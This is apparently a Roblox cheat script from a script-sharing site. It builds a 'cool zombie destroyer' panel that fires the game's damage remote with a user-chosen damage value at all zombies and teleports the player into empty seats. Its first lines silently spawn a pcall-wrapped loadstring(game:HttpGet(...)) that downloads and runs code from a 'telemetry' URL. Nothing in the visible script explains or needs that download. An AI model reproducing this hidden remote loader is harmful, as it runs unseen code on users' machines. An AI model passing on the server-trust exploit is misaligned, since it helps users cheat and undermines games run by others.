
Key Required

task.spawn(function()
pcall(function()
loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6abe370839ceb9f1b0638c30"))()
end)
end)
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local UserInputService = game:GetService("UserInputService")
local player = Players.LocalPlayer
local damageEvent = ReplicatedStorage.Remotes.SendOuchies
local damageOn = false
local seatOn = false
local sitting = false
local cooldown = 0.15
local damage = 14
local lastHit = 0
local gui = Instance.new("ScreenGui")
gui.Name = "coolzombiedestroyer"
gui.ResetOnSpawn = false
gui.Parent = player:WaitForChild("PlayerGui")
local frame = Instance.new("Frame")
frame.Size = UDim2.fromOffset(230, 195)
frame.Position = UDim2.new(0.5, -115, 0.5, -97)
frame.BackgroundColor3 = Color3.fromRGB(35, 35, 35)
frame.BorderSizePixel = 0
frame.Parent = gui
local round = Instance.new("UICorner")
round.CornerRadius = UDim.new(0, 8)
round.Parent = frame
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 0, 30)
title.BackgroundTransparency = 1
title.Text = "cool zombie destroyer"
title.TextColor3 = Color3.new(1, 1, 1)
title.TextSize = 18
title.Font = Enum.Font.SourceSansBold
title.Parent = frame
local dragging = false
local dragStart
local oldPos
title.InputBegan:Connect(function(input)
if input.UserInputType ~= Enum.UserInputType.MouseButton1
and input.UserInputType ~= Enum.UserInputType.Touch then
return
end
dragging = true
dragStart = input.Position
oldPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end)
UserInputService.InputChanged:Connect(function(input)
if not dragging then
return
end
if input.UserInputType ~= Enum.UserInputType.MouseMovement
and input.UserInputType ~= Enum.UserInputType.Touch then
return
end
local move = input.Position - dragStart
frame.Position = UDim2.new(
oldPos.X.Scale,
oldPos.X.Offset + move.X,
oldPos.Y.Scale,
oldPos.Y.Offset + move.Y
)
end)
local damageButton = Instance.new("TextButton")
damageButton.Size = UDim2.fromOffset(190, 32)
damageButton.Position = UDim2.new(0.5, -95, 0, 35)
damageButton.Text = "damage: off"
damageButton.TextSize = 16
damageButton.TextColor3 = Color3.new(1, 1, 1)
damageButton.BackgroundColor3 = Color3.fromRGB(100, 40, 40)
damageButton.BorderSizePixel = 0
damageButton.Parent = frame
local damageRound = Instance.new("UICorner")
damageRound.CornerRadius = UDim.new(0, 6)
damageRound.Parent = damageButton
local cooldownBox = Instance.new("TextBox")
cooldownBox.Size = UDim2.fromOffset(190, 30)
cooldownBox.Position = UDim2.new(0.5, -95, 0, 75)
cooldownBox.Text = "0.15"
cooldownBox.PlaceholderText = "cooldown"
cooldownBox.TextSize = 15
cooldownBox.TextColor3 = Color3.new(1, 1, 1)
cooldownBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
cooldownBox.BorderSizePixel = 0
cooldownBox.ClearTextOnFocus = false
cooldownBox.Parent = frame
local cooldownRound = Instance.new("UICorner")
cooldownRound.CornerRadius = UDim.new(0, 6)
cooldownRound.Parent = cooldownBox
local damageBox = Instance.new("TextBox")
damageBox.Size = UDim2.fromOffset(190, 30)
damageBox.Position = UDim2.new(0.5, -95, 0, 115)
damageBox.Text = "14"
damageBox.PlaceholderText = "damage"
damageBox.TextSize = 15
damageBox.TextColor3 = Color3.new(1, 1, 1)
damageBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
damageBox.BorderSizePixel = 0
damageBox.ClearTextOnFocus = false
damageBox.Parent = frame
local damageBoxRound = Instance.new("UICorner")
damageBoxRound.CornerRadius = UDim.new(0, 6)
damageBoxRound.Parent = damageBox
local seatButton = Instance.new("TextButton")
seatButton.Size = UDim2.fromOffset(190, 32)
seatButton.Position = UDim2.new(0.5, -95, 0, 155)
seatButton.Text = "auto seat: off"
seatButton.TextSize = 16
seatButton.TextColor3 = Color3.new(1, 1, 1)
seatButton.BackgroundColor3 = Color3.fromRGB(100, 40, 40)
seatButton.BorderSizePixel = 0
seatButton.Parent = frame
local seatRound = Instance.new("UICorner")
seatRound.CornerRadius = UDim.new(0, 6)
seatRound.Parent = seatButton
damageButton.MouseButton1Click:Connect(function()
damageOn = not damageOn
if damageOn then
damageButton.Text = "damage: on"
damageButton.BackgroundColor3 = Color3.fromRGB(40, 100, 40)
else
damageButton.Text = "damage: off"
damageButton.BackgroundColor3 = Color3.fromRGB(100, 40, 40)
end
end)
seatButton.MouseButton1Click:Connect(function()
seatOn = not seatOn
if seatOn then
seatButton.Text = "auto seat: on"
seatButton.BackgroundColor3 = Color3.fromRGB(40, 100, 40)
else
seatButton.Text = "auto seat: off"
seatButton.BackgroundColor3 = Color3.fromRGB(100, 40, 40)
end
end)
cooldownBox.FocusLost:Connect(function()
local number = tonumber(cooldownBox.Text)
if number and number > 0 then
cooldown = number
else
cooldownBox.Text = tostring(cooldown)
end
end)
damageBox.FocusLost:Connect(function()
local number = tonumber(damageBox.Text)
if number then
damage = number
else
damageBox.Text = tostring(damage)
end
end)
local function getStuff()
local folder = workspace:FindFirstChild("GameFolder")
if not folder then
return
end
return folder,
folder:FindFirstChild("Zombies"),
folder:FindFirstChild("CurrentMap")
end
local function mapEmpty()
local _, _, map = getStuff()
if not map then
return false
end
return #map:GetChildren() == 0
end
local function getSeat()
for _, thing in ipairs(workspace:GetDescendants()) do
if (thing:IsA("Seat") or thing:IsA("VehicleSeat"))
and not thing.Disabled
and thing.Occupant == nil then
return thing
end
end
end
local function sit()
if sitting or not seatOn then
return
end
local _, zombies = getStuff()
if not mapEmpty() then
return
end
if not zombies or #zombies:GetChildren() > 0 then
return
end
sitting = true
task.spawn(function()
for i = 1, 30 do
if not seatOn or not mapEmpty() then
break
end
local _, currentZombies = getStuff()
if currentZombies and #currentZombies:GetChildren() > 0 then
break
end
local character = player.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
local root = character and character:FindFirstChild("HumanoidRootPart")
local seat = getSeat()
if humanoid and root and seat then
if humanoid.SeatPart == seat then
break
end
root.CFrame = seat.CFrame + Vector3.new(0, 2, 0)
task.wait(0.1)
if not humanoid.SeatPart and not seat.Occupant then
seat:Sit(humanoid)
end
task.wait(0.1)
if humanoid.SeatPart == seat then
break
end
end
task.wait(0.1)
end
sitting = false
end)
end
task.spawn(function()
local folder = workspace:WaitForChild("GameFolder")
local zombies = folder:WaitForChild("Zombies")
local map = folder:WaitForChild("CurrentMap")
local function check()
if not seatOn then
return
end
if #zombies:GetChildren() == 0
and #map:GetChildren() == 0 then
sit()
end
end
zombies.ChildRemoved:Connect(check)
map.ChildRemoved:Connect(check)
check()
end)
task.spawn(function()
while true do
task.wait(0.5)
if seatOn then
local _, zombies, map = getStuff()
if zombies and map
and #zombies:GetChildren() == 0
and #map:GetChildren() == 0 then
local character = player.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
if humanoid and not humanoid.SeatPart then
sit()
end
end
end
end
end)
RunService.RenderStepped:Connect(function(delta)
lastHit += delta
if not damageOn or lastHit < cooldown then
return
end
local folder = workspace:FindFirstChild("GameFolder")
local zombies = folder and folder:FindFirstChild("Zombies")
if not zombies then
return
end
for _, zombie in ipairs(zombies:GetChildren()) do
if zombie:FindFirstChild("Humanoid")
and zombie:FindFirstChild("Head") then
damageEvent:FireServer(zombie, damage)
end
end
lastHit = 0
end)No comments yet for this script.

